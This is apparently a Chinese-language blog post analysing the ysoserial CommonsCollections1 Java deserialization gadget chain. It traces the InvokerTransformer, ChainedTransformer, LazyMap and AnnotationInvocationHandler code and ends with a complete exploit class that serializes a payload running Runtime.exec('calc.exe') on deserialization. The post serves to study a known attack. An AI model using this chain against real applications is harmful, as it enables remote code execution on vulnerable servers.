ysoserial CommonsCollections1 分析
/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */
0、先假设Runtime类可序列化，最终要实现：
Runtime runtime = Runtime.getRuntime(); runtime.exec("calc.exe");
1、从最后一步开始，调用InvokerTransformer.transform()
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
transform方法实现了完整的反射，通过InvokerTransformer构造方法传入方法和参数。
所以这一步的利用链
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);
2、InvokerTransformer的transform的调用，在ChainedTransformer的transform实现。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
如果Transformer[]里面的对象是：
Transformer[0]：new ConstantTransformer(runtime)
Transformer[1]：invokerTransformer
第一次循环：(new ConstantTransformer(runtime)).transform() runtime对象返回给object
第二次循环：invokerTransformer.transform(runtime)
所以这一步的利用链：
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(runtime),invokerTransformer});
chainedTransformer.transform(1);
3、ChainedTransformer的transform谁来调？LazyMap的get方法存在transform调用（key不存在的时候）。
public class LazyMap extends AbstractMapDecorator implements Map, Serializable { public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } private void writeObject(ObjectOutputStream out) throws IOException { out.defaultWriteObject(); out.writeObject(map); } private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); map = (Map) in.readObject(); } //----------------------------------------------------------------------- public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
通过decorate方法，修改this.factory为chainedTransformer对象，最后通过get不存在的key调用chainedTransformer的transform
所以利用链
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get(1);
4、lazyMap的get谁来调用？这里面用的AnnotationInvocationHandler的invoke，该方法存在某个属性的get，属性可通过构造方法改变。
class AnnotationInvocationHandler implements InvocationHandler, Serializable { private static final long serialVersionUID = 6182022883658399397L; private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method"); switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; } // Handle annotation member accessors Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result; } /** * This method, which clones its array argument, would not be necessary * if Cloneable had a public clone method. */
因为AnnotationInvocationHandler类非public，通过反射调用
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
对象初始化memberValues，得到对象handler，接下来就是让handler对象执行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap已经有了，那么应该怎么触发handler执行方法，来调用invoke方法
AnnotationInvocationHandler的readobject方法，存在对memberValues执行entrySet()
所以用proxyMap对象重新生成一个AnnotationInvocationHandler对象
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
handle
以下是AnnotationInvocationHandler的readobject重写
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
最后AnnotationInvocationHandler对象反序列化，执行readobject也就触发了proxyMap的invoke方法
要解决的问题：Runtime类未实现Serializable，需要使用反射调用，反射方法用什么来触发执行？
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");
反射方式实现：
Class cr = Class.forName("java.lang.Runtime");
Method getRuntime = cr.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntimemethod.invoke(null, null);
Method execmethod = cr.getMethod("exec", String.class);
execmethod.invoke(runtimemethod,"calc.exe");
反射方法通过InvokerTransformer实现
Class cr = Class.forName("java.lang.Runtime");
Method getRuntimemethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(cr);
Runtime runtimemethod = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimemethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}).transform(runtimemethod);
ChainedTransformer中的transform正好实现了这组链的调用
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
所以最后runtime的实现利用链：
Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers);
chainedTransformerruntime.transform(cr);
最终实现的利用链：
public class CC1Test3 { public static void main(String[] args) throws Exception { Class cr = Class.forName("java.lang.Runtime"); Transformer[] transformers = { new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformers); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(cr),chainedTransformerruntime}); HashMap hashMap = new HashMap(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc1.ser")); objectOutputStream.writeObject(handle); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc1.ser")); objectInputStream.readObject(); } }
